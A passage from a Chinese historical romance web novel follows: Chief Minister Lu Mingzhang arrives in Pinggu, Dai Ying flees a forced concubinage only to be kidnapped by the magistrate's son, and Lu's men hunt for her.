戴万昌拢了拢肩头的衣衫,展帖看去,双手渐渐颤动起来。
小厮见其不对,疑声道:“老爷?”
戴万昌扬起手里的帖,语调因为太急
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,有些走样:“快!快!把咱们城南那处的宅院收拣出来!”
“现在?”小厮说着,“这会儿正值深夜,不如……”
戴万昌朝小厮兜头一打:“你是老爷还是我是老爷?告诉管家,立马差人去城南的院子,连夜把院子清整出来,一应物品备齐,还有……”
戴万昌话语越急脑子越阻塞:“你……你跟管家说,就说京都的大官要来,他知道该如何行事,那边院子少什么,来不及置办的,从咱们这边搬。”
小厮点头如捣算,追问了一句:“人手不够呢?”
“人手不够?若人手不够,连老爷我都得到那位大人跟前端茶递水,你说人手不够怎么办?”
小厮心中纳罕,这是个什么人物?县令又是连夜送信,家主又是深夜派人拾城南别院。
当下不敢延误,撒开腿往前通知管家。
戴万昌这一夜是不能睡了,他得亲自前去督管。
吴县令遣人送来的帖子上说,京都来的枢密使要来平谷,特征他家私院作行馆。
算一算,若是出发得早,行得快,傍晚便能到平谷。
这等大事,如同天上砸下来的一样,办好了,便是有功,若是欠妥,就是有罪。
整个戴宅上上下下动了起来,比白日还要忙碌。
戴缨迷蒙中醒来,从床上撑起身,看了一眼窗纱上的暗蓝,喊了一声:“归雁。”
不一会儿,归雁披衣从隔间出来,擎着灯盏,声音带着未醒的困倦:“主子唤我?”
“外面怎么这样吵?”
归雁揉了揉眼,倾耳一听,还真是,说道:“婢子出去瞧瞧。”
说着,推门出了屋,不一会儿,走了进来,把门反手掩上,撵着碎步走到榻边:“我的主儿,大事,大事。”
“什么大事?”戴缨颦着眉,有些提不起劲儿,“大夜里,能有什么事。”
归雁搁好灯盏,扶戴缨坐起,往她身后塞了靠枕,一脸喜色:“大人要来啦!”
“什么大人小人。”戴缨接应不上。
归雁哎呀一声,坐到榻沿,声音压了压:“陆相,陆大人,就是那位大人呀!”
戴缨呼吸一窒,双手紧紧揪住衾被,急声问:“陆家大爷么?是他?”
“是,是,婢子刚才问了前院的人,他们说京都来的大官,从青城过来,天明时分,人就到哩!”
归雁心中欢喜,前几日,老爷突然一改口风,不放娘子回京,让她给小衙内为妾。
她私下打听了,那小衙内看上的是二姑娘,结果不知怎么变成她家主子,如此一来,娘子去不得京都,老爷便让二姑娘替娘子赴京。
此事发生得太过蹊跷,之后,二姑娘院前的护卫们撤到她们这边。
这么几日,陆相一行人只怕早走了。
归雁同她家小娘子是一心的,她的情绪,她很能体味,娘子有时伏在窗台上,望一望天,转头问她,她们回平谷有几日了?
无非就是算日子,青城的车驾什么时候回程。
就在前两日,娘子不问了,因为那一日……陆相一行人回京……
第42章 只要能见到他
在陆铭章一行回程的前几日,戴缨无事伏在窗上发呆,待一会儿便问自己的丫头,她们回平谷几日了。
几乎每日都要问一遍,掐算日子,好似生怕记错似的。
在陆铭章启程回京后的一天,戴缨不问了,而是换了一个问题。
“两日了,两日车驾能行到哪里?”
归雁摇了摇头,落后补了一句:“肯定是出了青城。”
戴缨笑道:“那是必然,只是我猜他走不远。”
归雁呆了呆,明白那个“他”是指谁:“为什么走不远?”
“你想啊,咱们出京之时,行了不上一日,人马就在驿站歇下。”
归雁摆手道:“不对,不对,这可不一次,来时,陆大人染了病,他是拖着病身赶路,这会儿他身子好了,回程自然会快些。”
戴缨笑着点了点头,不再说什么,她知道,京都的人和事已经远离,接下去的路仍是坎坷。
只是……戴缨狠狠掐了一把自己,仍有些不敢相信,颤声问道:“陆相的车驾往平谷来?!”
归雁一面傻笑一面点头,戴缨轻轻拍了拍她的脸:“当真?”
“我的主儿,当真呐!”
归雁指了指门外:“听,多热闹,阖府上下都动起来,给陆相准备行馆哩!”
戴缨将薄被呼啦一掀,赤足下地,登登登跑到窗边,一把推开,往院外看去。
月洞门处,映着亮澄澄的光,光中人影幢幢,声音喧闹着,可在戴缨听来,一点也嫌不吵,像要过年似的。
夜色在轻轻重重的动静中褪去,熹光渐露,院子终是安静下来。
厨房的烟囱冷着,不知晚了多少时候,燃起烟,先时如游丝,慢慢浓郁。
厨娘将早饭递到归雁手里。
“哟!婶儿,怎么叫你亲身端饭来?”归雁问道。
妇人拿围腰兜了兜手,说道:“你在院里不清楚,人都去了外面,宅子人手不够,同大姐儿说一声,饶恕则个,厨房也没几个人,实在转不开,就这,奴还是先紧着大姐儿这边,几个姨娘院子的早饭还没来得及上呢。”
说罢急着离开,却被归雁拉住:“咱们宅子里怎么人手不够,都去哪儿了?”
“去城南了,城南的宅子,老爷也去了。”妇人摆开手,“不说了,还要准备另几个院的饭食,二姑娘那边是晚不得的,不然又讨一顿骂。”
转身匆匆走了。
归雁端着木托回了屋,一面摆早饭,一面将从厨娘嘴里套的话转告戴缨。
戴缨不知陆铭章为何突然改道来平谷,她当然不会以为他为她而来,想来应和公务有关。
听说平谷县令新官上任,这次也去了青城。
那么,这个机会她得把握了,她得想办法见到陆铭章,只要能见到他,一切就好办了。
只是院外守着护院,她该如何脱身。
正想着,院里响起一道柔声:“姐姐可在屋里?”
戴缨放下碗筷,面色微冷,归雁走出屋室,院里立着一个细长身的女子,手捏绢帕,描着好看的眉,嘴角噙着笑。
“二姑娘找我家娘子?”归雁上前福了福身。
戴云笑道:“是呢,大姐可在屋里?”
归雁侧过身,引戴云入内。
戴云见了戴缨,上前就要跪下,原以为戴缨会搀扶一把,却只冷眼看着。
戴云本不想跪,这会儿不跪也不行了,当真就跪于戴缨面前。
“姐姐回来这些时日,云儿现在才来探望,姐姐莫要怪罪。”
戴缨抚着腕上的银镯,说道:“不过是晚来相见,倒也不必行此大礼。”
戴云以指顶着帕子拭了拭腮颊,期期艾艾道:“妹妹今日前来,是……是为请罪的。”
“请罪?何罪之有啊?”
“原该妹妹去那吴家,如今成了大姐,听说那小衙内风流成性,好渔色,手上染有人命,大姐可得当心……”戴云轻飘飘地说着事不关己的话,抑扬的调音听起来没有伤情,反像在笑似的。
戴缨低下眼,开口再问:“那你说说看,这是为何?原是你去吴家,结果成了我?”
戴云弱着腔,说道:“想是那小衙内见姐姐姿容更甚,这才改了主意。”
“我何曾见过那人?”戴缨疑惑,“平日我连宅门都不出,他又怎么窥我姿容?妹妹莫要胡言。”
戴云赶紧说道:“怎么没出,夫人忌日……”剩下的话赶紧吞咽回去。
戴缨“哦”了一声:“不是妹妹提醒,我竟不知是那一日。”
戴云自知说漏了嘴,缓缓从地上站起,坐到戴缨对面,抹掉面上的伤戚,露出笑来。
“姐姐还有一事,只怕也不知。”
戴缨盯着她,声音不见恼怒:“何事?”
“姐姐可知小妹也心仪谢家表兄,然而,表兄眼里心里只你一人。”戴云胳膊支起,轻笑道,“云儿不日便替姐姐赴京,住到姑母府上,伴表兄左右,姐姐放心,云儿必会把握住这天赐良机。”
“话说回来,还要多谢谢大姐。”
一语毕,戴云掩嘴笑了起来。
戴缨也跟着笑。
“姐姐莫不是气糊涂了,命都快没了,却还有心情笑?”戴云问道。
戴缨点头道:“自然要笑了,我这是替妹妹高兴。”
说罢给归雁睇了一个眼色,归雁会意后,无声地往门口走去,掩上房门……
……
时至中午,平谷县大大小小的坊市一律被清整,街市以军兵排道,留出宽整的道路。
百姓们无不在路旁观望候等,都想看一看京城来的大官。
直至太阳西坠,城门处终于有了动静。
先是一队步卒手执幡旗在前开道,再有骑卫执府衙标旗,军士对列,手执无刃长戟,往前行来。
大队人马齐隆隆,轰阵阵,正中一扇宝相花伞,伞前是一辆阔大的车辇。
护卫佩仪仗银刀,骑卫全副披挂,放眼一看,蔚为壮观。
百姓们你簇着我,我挨着你,踮脚的踮脚,探脖的探脖,虽是人拥人,并不敢喧哗。
一直等倚仗车驾行过,才低声议论。
“这是大官罢?比县令大?”
“怎么不是?你没见着人家坐车轿,吴县令跟旁边走呢。”
一人插话道:“叫我说,刚才那位大人比州府的官还大。”
“怎么说?”
那人把脸稍稍低下,压住声,说道:“我以前去外城,见过州府大人出行的倚仗,比这个差些。”说完,停了一停,继续道,“你们刚才
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瞧见没,前面开道的无刃长戟。”
其他人纷纷点头:“瞧见了,可有什么讲究。”
“若是一品大员,这门戟可达十六杆,甚至更多,刚才我大概数了数……”
“多少?”众人抢问。
那人想了想,煞有介事地说道:“十六杆肯定是有的。”其实他也没数清,但话随话间,谁去管那具体的数目。
一时间平谷百姓觉得自己站的这地儿比往日更值钱了。
……
及至晚间,吴县令才回府衙后宅。
他的两条腿早已软如面条,一回屋室,便让丫鬟更衣除靴。
肚子空着,一整日只吃了几口干粮,又叫厨房上了饭菜,本想喝些酒,解解乏,一想,还是不喝了,万一行馆召唤,他还得前去应候。
于是端起碗筷,刚扒了一口饭,一串脚步行来,入到屋里,开口便是:“父亲,儿子不准备纳戴家的云娘为妾。”
吴县令包了一嘴饭,腮帮子鼓鼓动着,面无表情地“嗯”了一声,根本不在意,一个商户的女儿,纳或不纳,在他看来不是什么要紧事。
吴胜怕他爹没听清,走上前,坐下:“父亲,儿子说不纳戴家云娘,您可听见?”
吴县令把嘴里的饭嚼了几下,咽下,看了一眼桌上的饭菜,说道:“你老子在咽饭,你小子可看见?”
吴胜噎了一下,赶紧给他爹倒了一杯茶:“喝茶,喝茶。”
吴县令接过茶盏,仰头喝了,正要开口说正事,谁知吴胜再次提及纳妾之事。
“儿子打算纳戴家的缨娘,就是戴万昌的长女,爹,你说……”
话音未落,吴县令把杯子往桌上一掼,扬声道:“不过就是一个妾,你想纳就纳,值得跑到我跟前说?!”
吴胜就等这句话,他老子向来如此,任何事情需同他报知,你说了,就是天塌下来,也有老头顶着,若是不说……出了事,少不得又挨一通骂。
不过呢……在这平谷,他爹就是天,塌不下来。
吴县令放下碗筷,又喝了一口茶,看向自己的儿子,神情变得认真,说道:“明日你随我去一趟城南。”
“城南?去城南做什么?”吴胜把身子往椅背一靠,露出往日的浑样,浓黑的眉眼透出不耐。
吴县令见不惯他那样,可也知自家儿子生来逆桀,不是个受管的,胆儿比石头硬,就像马背上的鬣毛,顺着抚,反着抚,都扎手。
行事更像是浸过辣油的牛鞭,甩到哪儿哪儿遭殃。
“都城的枢相来了,明日你随我一道,我引你前去见一见。”吴县令说道。
吴胜不以为意:“你去不就得了,还让我去那杵着?”
“没长心的玩意儿,多少人想到跟前凑数还不成呢,你还不情愿。”
吴胜只得点头:“父亲别气,儿子这不随口说说么,怎能真就不去。”
一想到过些时就能把美人儿抬进府,如今他父亲说什么他不应。
这几日那戴家大姐儿的倩影不时从他脑中浮现,素薄春衫下是微丰又青春的曲度。
但凡男子看一眼,便知这女人的难得,到了夜里,竟发起春梦,每每关要之时,便醒。
他若能得这么个宝贝,还在外面浮浪什么……
第43章 陆相要见你
戴万昌早把城南的私宅整理出来,不论坐卧衣食,还是丫鬟奴仆,一应俱有,华宅竟显奢贵大气。
比那青城的行馆更胜几等。戴家的财力在此时得到了充分展现。
待到天刚擦黑,陆相一行住进了行馆,戴万昌仍不敢大喘气,一再嘱咐管家小心周到,不容出一点疏忽。
管家揣着一颗心,满口应下。
戴万昌从行馆的角门出来,他虽是私宅的主人,这会儿没有传见,不能进主院。
从行馆出来后,戴万昌乘轿归宅,轿内,戴万昌闭目养神,然而,还没走几步,轿辇遽然停下。
“怎么回事?”
侍从的声音从轿外传来:“老爷,是咱们家下人,说有急事相告。”
戴万昌沉了一口老气:“叫他上前。”
侍从应了,不一会儿,另一道声音惶急传来:“老爷,不好了!大姐儿不见了!”
戴万昌两眼一睁,把轿帘一揭,怒问:“什么?!”
“大姐儿不见了,跑了!”
戴万昌看着屋中的情形,差点没立住。
次女依在孙氏的怀里,捂脸呜咽,地上是散开的麻绳,下人们想要搀扶她起身,她不起,只是坐在地上,泪珠连连。
孙氏抱着女儿,泣诉道:“老爷,缨娘好下作手段,行那强匪之风,用绳绑了云儿,换了她的行头,逃出府去。”
戴万昌两目通红,抖着唇说不出一句话。
孙氏继续添火加柴:“有些话妾身本不该说,但眼见着家风要乱,实在揪心,老爷平日将缨娘捧在手心惯着,谁知竟惯出这般心性,对自家姊妹都下得去手,她轻慢我这个姨娘,我忍忍便罢了,可若日后连老爷的教诲都置若罔闻,岂不是要酿成大祸?想想都替老爷心寒……”
戴万昌气得哼哼两声:“她眼里哪还有我?真有我这个父亲,敢如此行事?!”接下来又道,“好,好,我就说,依她那性子,怎会如此安静地闭在院中,原来在这儿等着。”
“来人!”戴万昌大喝一声,“派人去找,务必将大姑娘带回,她若乖乖回来还罢,若是不回……打断腿,绑也给我绑回来!”
“我倒要看看,她有多大能耐,违抗父命,想翻天不成?!”
孙氏上前,替戴万昌顺气:“老爷莫气,气大伤身,云儿受这点委屈不当什么,您若有个什么不好,才是大灾。”
戴万昌稍稍压下火气,看向仍在呜咽的小女儿:“带她回房。”
孙氏领戴云回了院子,戴云一进屋室,就扑到榻上大哭起来。
“她跑了,她跑了,姨娘,父亲定会再把我推出去,我不要给小衙内做妾。”
孙氏安抚道:“放心,她跑不脱的。”
“这是如何说?”戴云睁着湿红的眸子。
“如今全城**,她只能在城里打转,出不得城门,你父亲又派了人手,安心好了,不出三日,必将她捉回。”
戴云听说,这才放下心。
……
陆铭章在行馆歇了一夜,次日起早,用**,往园后走去,长安随在身后。
平谷的气候较京都而言更加湿润凉爽。
园中绿植蓊郁,花木是精心修剪过的。
芊绵的草席中,铺着不规整的板石,通往另一景,展目看去,薄雾如纱弥漫着,模糊了远处景物的形状。
低矮的楼阁在雾中若隐若现,带着草木香的晨风将阁檐的“惊鸟铃”撞响。
陆铭章漫步缓行,不一会儿,雾气浸染了衣带和鬓间的发丝。
“戴家在平谷,确实是头一份的富庶。”陆铭章说道,“怪道那丫头面上看起来低眉顺眼,骨子里却有些精致的淘气。”
长安看了他家主人一眼,到了这平谷,阿郎说话的语调都松快了几分。
“是,戴娘子一定想不到咱们会来平谷,不若现下让人将她请来?”
陆铭章摆了摆手:“不急,此次来平谷公事紧要,趁便捎带她而已。”
长安应是,心里却是了然。
又走了一会儿,晨雾渐散,下人来报,平谷县令带了一众大小官员拜候。
陆铭章颔首表示知晓,回屋重新更衣,然后去了前面的敞厅。
平谷一众官员侍立厅堂两侧,小衙内吴胜也在其内,穿了一件他不常穿的吏服,随在他父亲身侧。
先时还能听到曼声低语,直到外面通传,枢相驾临,周围细小的声音立刻静下。
吴胜用眼梢去看,只见一个三十出头的男子,身着深紫宽袖公服走来,面目沉凝,行止间,腰际玉环发出轻微的磕碰。
待他于上首坐定,开口道:“让诸位久候。”
众官员依礼拜了四拜。
“不必多礼。”陆铭章说罢,让属官赐座。
大小官员依言坐下。
接下来,便是各人呈报公事,陆铭章默然听着,不发表任何意见。
轮至吴县令时,陆铭章把身子动了动,理了理衣袖,启口道:“这处行馆征得谁家?”
吴县令一呆,立马恭声道:“回禀枢相,此处行馆征得一戴姓门户。”
“有心了,请这位戴家家主前来。”陆铭章说道。
吴县令得了赞赏,本是提吊的心稍稍回落,有些欢喜,又有些疑惑,枢相为何要传见一个商贾。
不过他不敢多想,当下吩咐人去请戴万昌前来。
彼边……
戴万昌在屋中来回踱步,一面记挂城南行馆,心盼着若能见一眼那位大人也好。
可他也知此乃妄想,最好的结果就是,陆相夸赞吴县令办事妥帖,吴县令转头给他记上一功。
另一面又记挂搜寻长女,原以为不出一个时辰就能把人寻到,谁知过了一晚,仍是没有半点消息。
正在此时,院外跑来一人,因跑得太急,往前一趔趄:“老爷,城南……城南那边……”
戴万昌心里一紧:“城南出事了?”
“不是……吴县令派人来,说……”那人咽了口唾沫,又道,“说陆大人要见你。”
戴万昌心头狂跳,如江海翻腾,一
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刻不敢耽误,让人备轿,理了理身上的锦服,阔步往院外行去。
轿辇落于行馆前,已有人在外接引,一路行至正院的敞厅。
此时厅上其他官员见了来人,俱侧目看着,眼中流露出一股轻蔑又不太显的嘲讽。
戴万昌一进敞厅,头也不敢抬,趋步上前,立住,抖擞衣摆,作势就要跪下,上首一道声音响起,声音清朗,像是从很远的地方传来。
“戴家主不必多礼,坐罢。”
这一声,可叫在场众官员瞠目,陆相这是免了他的礼?
就连戴万昌本人也摸不清状况,战战兢兢地懵怔着告了座。
只是,坐是坐下了,心却不宁,凳子也烫屁股,只能虚坐三分,仿佛下一刻会立地弹起。
“戴家在平谷做何种生意?”陆铭章问道。
戴万昌恭声回道:“回大人的话,鄙人主要营生是绸缎、药材铺子之类。”
说罢之后,便是一片安静,戴万昌心头打鼓,不住地揣摩这位大人话里的意思,为何要询问戴家营生,暗示了什么?
这样大的人物,绝不可能同他闲话家常,说些无关紧要的话,这样的人物,个个都是字如千金。
别说戴万昌了,就是在场一众大小官员亦是反复揣度这句话的含意。
陆相这是准备以戴家为切口,探平谷的行商经贸?又或是见了行馆的奢华陈置,想拿戴家这只肥鸡,杀鸡儆猴?
还是有别的什么意思?
戴万昌后背的衣衫早已汗湿一片,一颗精明的脑袋既混沌又忐忑。
陆铭章本想再闲问几句,见戴万昌那局促之状,顿觉失兴,不再兜绕,直言道:“本院明日返程回京,戴小娘子同往,唤她前来。”
戴万昌两眼一抬,在触及陆铭章那双凝肃的双目时,又赶紧缩回。
他不确定刚才有无听错,还是自己耳朵出现了幻听,壮着胆儿问了一句。
“大人刚才说的可是唤小女前来?”
陆铭章颔首道:“有劳了。”
戴万昌激得一起身,提着衣摆,走到堂间,伏地顿首:“小人这就亲自前去带了小女来。”
戴万昌这会儿想不得太多,陆相欲回京,还要带上自家女儿,这中间是何缘由?
待他走出行馆,心思开始活动,大女儿回来告诉他,谢容同陆家千金定了亲,所以,陆相让自家小女随往,多半有谢家这一层的关系在。
回了宅子,戴万昌问家下人。
“人可找到了?”
“不曾发现小娘子的踪迹。”
戴万昌气得一跺脚,吩咐道:“把云姐儿带来。”
陆相只说戴家小娘子,云丫头亦姓戴,都是他戴家的女儿,同谢家亦有亲缘,既然眼下找不到缨娘,便让云娘前去也是一样。
下人应声去了。
戴云在得知京都来的陆相传见后,还要捎带她去京都,恍若升至天阙,晕晕乎乎。
“姨娘,看来大姐姐是我的福星,她一回平谷,所有的好事都向着我哩……”
第44章 他官阶再大,也是个男人
孙姨娘也叹奇,戴缨一回来,把她们所有的灾都挡了去,当下笑吟吟:“快收拾收拾,别让你父亲久等。”
戴云响亮地应着,让丫鬟给自己好好妆扮。
彼边的行馆,吴县令在听到陆相提及戴家女时,头皮一炸。
戴家人能被陆相提及,就不能将戴家当普通人家看了。先是传戴万昌来,他还没作多想,继而又传戴家女。
吴县令心里七转八绕想着,丝毫没察觉自己儿子眼中突闪的一抹异色。
没过太久,戴万昌趋身前来,报于陆铭章:“草民已将小女带来,现下正在仪门处。”
陆铭章点了点头,对身侧的长安吩咐:“把人迎进来,安置一个静谧的院落。”
长安应下,去了。
戴万昌将这一切看在眼里,心中庆幸,谢家同陆家缔结姻亲,叫他戴家跟着沾了光,有了今日这一出,日后他戴家在平谷谁人敢轻瞧,那些官户还不上赶着巴结。
戴万昌一抬眼,果然就见对面的吴县令笑看着自己,嘴角提着,眼弯着,两颊笑得起了褶。
当下戴万昌心中无比得意,全然把长女的不幸忘却了一干二净,或者不是忘却,而是同眼前的利好相较,谢家的失信不值一提。
心中正想着,刚才离去的那个修长身的男子折了回来,神色有些不对。
只见他走到上首,俯在陆相耳边,不知说了些什么,原本面色还算温和的陆相将目光看向自己,声音微沉。
“戴家主是否没听明白本院的话。”
戴万昌赶紧从座位起身,低下身,咽了咽喉。
“本院说的是戴家小娘子,这回可懂了?”陆铭章问道。
同样一句话,在场众人都知道戴万昌领来的人不对,不是陆相要的人。
戴万昌哪能不知,一颗心就跟荡秋千一样,忽上忽下,知道自己办砸了。
陆相要的人不是戴云,而是长女戴缨,可……大女儿直到现在还未找到……
陆铭章察觉不对,双目一沉,径直问道:“人呢?”
戴万昌拿袖拭着额汗,磕巴道:“回大人,长女……昨儿……”一面说一面汗如雨下,身子立不稳,晃了两晃。
长安催促道:“戴家主快说,莫要误事,小娘子人呢?”
他适才去仪门,发现轿中之人不是戴缨,而是另一个同她有三分相似的女子,就知道不好了。
戴万昌哪敢说囚禁一事,却又不敢乱说一气,只能含糊道:“她同妹妹起了争执,一气之下离了府,草民正派人四处找寻,已是过去一夜,却无半点音讯。”
此话一出,陆铭章面上仅有的一点温度,彻底凉了下去。
长安惊诧,他从未见家主将脸色压成这样。
“找,去找。”陆铭章再次启口,眼睛转到吴县令身上。
吴县令立刻起身,躬身应是,带人出了敞厅,风火一般向行馆外行去。
在吴县令离开后,陆铭章又看向厅中另几名官员,那几人身量高大,皆是地方武将,都部署,兵马司监等人。
几人跟着起身,无需特意吩咐,也知道接下来要做什么。
吴县令出了行馆,对自己儿子交代:“你先回府,没事别出去闲混。”
说罢,转身上了轿辇,往城门行去。
吴胜在原地立了一会儿,从小厮手里接过缰绳,翻身上马,并不往府衙去,而是去了另一个方向。
……
戴缨走到门边,用力拍了拍,不见外面任何反应,门纱上透过的影,昭示着门外有人。
她试图喊叫过,然而无用,周边的门窗俱封死,倒是没绑她的手脚,这是量准她逃脱不了。
说来也是好笑,戴云到她跟前耀武扬威,她同归雁一起将谢珍绑了,她换上谢珍的装扮,拿绢帕掩住面,出了院子。
本想去城南的行馆求见陆铭章。
谁知刚出宅子没几步,就被人敲晕了,不知绑到了哪里。
正在思索间,门外传来脚步声,接着一个声音响起:“人在里面?”
“是。”
门扇从外打开,戴缨盯着门口,进来一个深眉朗目的高个男子,男人眼珠很黑,见了她,扬起嘴角一笑,鼻边扩出两道笑纹。
她并不认识此人。
戴缨往后退了两步,一手撑住桌面,死死看着眼前的男子。
吴胜进前两步,说道:“别怕,我不伤你。”
戴缨将来人从头到脚一打量,问道:“你是小衙内?”
“如何知晓是我?”吴胜玩味道。
“绑抢民女在平谷从未有过,小衙内一来便有了。”
吴胜听出她在骂他,也不气恼,她粉面微嗔的样子,叫他移不开眼。
他让媒婆子上戴家说亲后,多留了一个心眼,怕戴家不交人,遂派人暗中在戴家附近守望。
“放心,有了你,谁还稀罕那些个蒲柳。”吴胜坐下,看了一眼对面的桌位,示意戴缨坐。
戴缨并不坐,往后再退一步。
吴胜嘴角仍是笑,可那笑带上一抹厉色:“别怕,别怕……”
这是他进来说得第二次别怕,好像这两个字他经常说,很容易就吐露出来。
“放心,现在不动你,等陆相一行人离开,用大轿将你抬入我吴家,小爷再好好疼你……”
戴缨听他说起陆铭章,面上有了一丝变化。
吴胜见了,带着笑气,说道:“果然如此。”
他惯常混迹风月,今日那位枢相的脸色他看在眼里,叫他发现一桩秘事,而眼前女子刚才的反应,更加印证了他的想法。
“你怕是不知,那位京都来的大人正派人四处找你。”
戴缨身子一怔,双手微微攥紧,默然不语。
吴胜又道:“你慌了,我听听……”说罢,作势侧过耳,“嗯”着拉长腔调,“心跳也快了,扑通,扑通,越来越快,这个声音……女人情动的声音……”
“休要胡言!”戴缨气嗔道。
“你是不知道,听说你不见后,那位大人的脸色,啧啧,长年宫禁行走的人,也有失态的一刹那,偏叫我瞧见了。”
戴缨哪里相信吴胜的话,说道:“小衙内自己行事不端,便以为人人都似你,陆大人乃我大衍宰执,岂容你言语不敬。”
“他官阶再大,也是个男人,是男人都有色心,偏你又长在男人的心眼上。”吴胜不再多说,站起身,“不过他这样的京都大官,什么样的美人儿没见过,待找不到你,也就撒手了。”
说罢,带上门离开了。
戴缨往后一仰,一屁股坐到身后的扶椅上,手抚着胸口,心跳
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得太快,双手压着,用上一点点力,让它慢慢平复,这心跳是因为她害怕和紧张。
怕逃不出去,怕就此被困,怕……陆铭章找不到她……
没有别的原因,只此而已。
……
吴胜出到街市,翻身上马,小厮在前牵马,街上不时穿梭带刀衙差,还有身着甲胄的守备军。
吴胜眯起眼,说道:“去城门。”
小厮应是,牵马往城门行去,到了城门,门前更是壅成一片,只进不出。
接着,掉马回了府衙,一问才知,他父亲仍未归。
吴胜照常叫了三五狐朋**,出门吃喝。
几人聚在楼里,叫了几个唱曲儿的,酒过三巡,其中一人开嗓:“今儿这是怎么了?到处都是军卫?”
其他几人听说,看向吴胜,他们这几人中,若是连他也不清楚,那就无人清楚了。
吴胜喝下一杯酒,挑眉道:“还能为了什么,想是为着陆相的安危,防患于未然四处排查。”
其他几人点了点头。
又一人说道:“不对,不对,我见有军卫在搜查,明显是在查找什么,不会是刺客罢?”
“你这么一说,好像还真是,连城门都封禁了。”
吴胜不语,只顾低头喝酒。
几人争相议论着,就在这时,一人“咦?”了一声。
另几人问:“怎么?”
那人笑问道:“怎的没见瘦猴儿?你们没知会他来?”
“怎么没知会,他家下人说他出门了,没回。”
众人不作理会,继续吃喝听曲儿,及至更深方散去。
吴胜带着一身酒气回了府衙后宅,拉住一下人问道:“我爹可回了?”
“回衙内的话,回了,就在您前一脚回,正在房里用饭。”下人回道。
吴胜抬脚去了上房。
吴县令见儿子一身酒气地回来,把手里碗筷往桌上一掼,沉声问道:“去哪儿了?”
吴胜嬉笑两声,坐到桌边,给自己倒了一杯茶,仰头喝了,这才回答:“还能去哪儿,左不过在楼子里吃酒。”
“混账东西,我怎么跟你说的,叫你没事别去外面闲混,城都封了,你没见着?这么个时候还不给我老实待在家里?!”
“父亲怎么越老越怕事,不就是寻个女人么,还不让儿子出门了?”
吴县令“唉”了一声:“早知戴家攀上了陆家的亲,说什么都不能纳戴家女为妾。”
说着,话调一松,“好在人没抬进来,这事立刻打住。”
吴胜满不在乎,说道:“那戴家是什么门户,能同陆家攀亲?不过就是他们嫁出去的姑娘,那是谢家结得亲,何况只是将将定亲,婚期还没个准。”
这事他着人打听了,前前后后了解个大概。
吴县令想了想,说道:“那也沾亲带故。”
“爹,话不是这等说,您想,就是沾亲带故,咱们才更要把戴家女弄到府上来,这不相当于同陆大人也结上了关系?”
吴胜言语引带,吴县令沉吟片刻,觉着还真是这么回事,把话头转了转,说道:“有些道理,对了,你先前说瞧上戴家大姐儿?”
吴胜点头应是。
“碰不得,要纳也是纳次女,你把先前的心思收了,戴家长女千万别去招惹……”
第45章 眼睁睁看着她死
吴县令重新端起碗筷,扒拉一口饭,鼓动腮帮咀嚼,发现自己说话没响应,抬起头。
“发什么愣?!”
他在外奔了一日,回了宅子才吃上一口热乎饭,见自己儿子一副心不在焉的模样,气就不打一处来。
“我适才说的你听见没有,戴家长女碰不得,你就别想了。”
吴胜提起笑:“知道,知道。”
吴县令的心落下一半,想起一事,又道:“这些时你千万收敛些,别像之前那样闹出人命。”
他这儿子行事荒唐,管不住,只能在后面给他收拾烂摊子。
吴胜无所谓地“嗯”了一声,不愿再听他父亲唠叨,遂转开话头,闲说了几句,起身离开了。
……
从行馆角门进入,往里走,经过不知几道门洞,再转过回廊,最后行到一个避人的院子。
院外侍立军卫,突然一道凄惨的号叫兀地响起,划破安静的夜空,惊得倦鸟四起。
院中屋扇敞开,半点不遮掩,屋里亮着灯火,有个东西在晃动,像蝙蝠,定目去看,原来是一个人。
“哪里来的王八羔子敢绑你爷爷,出来!你怕是不知爷爷我在平谷是什么身份,衙门内常走动,就连小衙内见了我也得恭恭敬敬叫一声哥。”
“还不把我给放了……”
“来人……来人……”
瘦猴儿不知叫喊了几时,正待再号一声,声音突然止住。
不知何时门口立了一人,背着光,看不清面目,这人什么时候来的?竟是一点声响也没有。
在他惊异的目光中,那人走了进来,立于明明灭灭的光下。
一个修长身,三十来岁的男人,是个看起来没什么脾气的“好人”。
“你……你是什么人?还不把我给放了。”血往头冲,涨得脸红脖粗,瘦猴儿吃力地说着。
说完,就见那人从腰间蹀躞取出一把**,往他走来。
“你做什么……”
瘦猴儿话刚出口,脖颈上一凉,接着一刺痛。
“我问你什么,你答什么,说慢了……这血可止不住。”长安将匕刃上的血在瘦猴身上拭净。
那瘦猴儿本就是个贪生怕死之徒,刚才的叫喊不过是虚张声势。
“好汉饶命,问,问,你快问。”瘦猴儿催促,生怕问慢了自己小命不保。
长安开口道:“适才你说常在衙门走动,你认识吴胜?”
“是,小人同衙内不仅认识,还常一起吃酒。”
“吴胜欲纳戴家次女,怎的转眼又变成了戴家长女?”
瘦猴儿眨了眨被血糊的眼,说道:“这个……这……自然是有人不愿戴家云娘给吴胜为妾,正巧戴家长女归来,便让长女替了这份差,姐姐替妹妹。”
“谁?”
“孙氏,戴万昌的妾室,原是戴家主母的贴身侍婢,后来爬了主家的床,抬起来给了个姨娘的身份,也是戴云的生母。”
不必长安再发问,瘦猴儿一股脑把孙氏如何收买他,让他在那日带吴胜去城外的功德寺,又如何从旁牵引吴胜遇见戴家长女一事,一五一十道了出来。
“吴胜好渔色,他有处郊宅,专供他胡为。”
长安声音沉了沉:“那宅子在哪儿?”
“这个不知,真不知道,这种事……他哪里会说,他这人表面看着张狂不知世事,却是极有心思一人,且性情蛮霸,喝酒后咱一起的尽远着,不敢招惹。”
瘦猴儿这人终日在平谷闲游浪荡,专管帮闲抹嘴之事,收人些银两过活,此类人最有眼力,看出有人要收拾吴胜,于是又补说了一句。
“他手里闹过好几条人命。”
长安将问出的结果报知于陆铭章。
“戴小娘子多半被吴胜关在郊宅里。”
陆铭章面上没有什么过多的情绪,但长安知道,吴家不会好过。
……
戴缨不知自己身在何处,听不到一点外界的声音,没有人声吵闹,亦没有车马辘辘,不像在闹市。
天黑下来,静得可怕。
夜已深,不知到了几更天,连梆子声也没有,可以肯定她不在城中,要么在城外,要么在城郊。
她和衣歪于榻上,睁着双目,不敢放松警惕,窗外不时传来叽咕叽咕的蛙声,还有野虫低鸣。
脑子里不时荡起吴胜的话。
他说陆铭章派人寻她,也就是说,他不是因为公事来平谷,而是特意来平谷带她回京都?
也不知他能不能找到这里,如果寻不到,应该不会久留,不知不觉中,眼皮黏滞,变得沉重,终于撑不住睡了过去。
待她再次睁眼时,天已大亮,仍是昨夜躺下的姿势,不曾变过,因睡得太僵,致使半边手臂发麻。
门扇被敲响,敲了三声,房门从外打开,一个老妪端着托盘进来,将托盘里的饭菜搁放到桌面,一声不言语地退下。
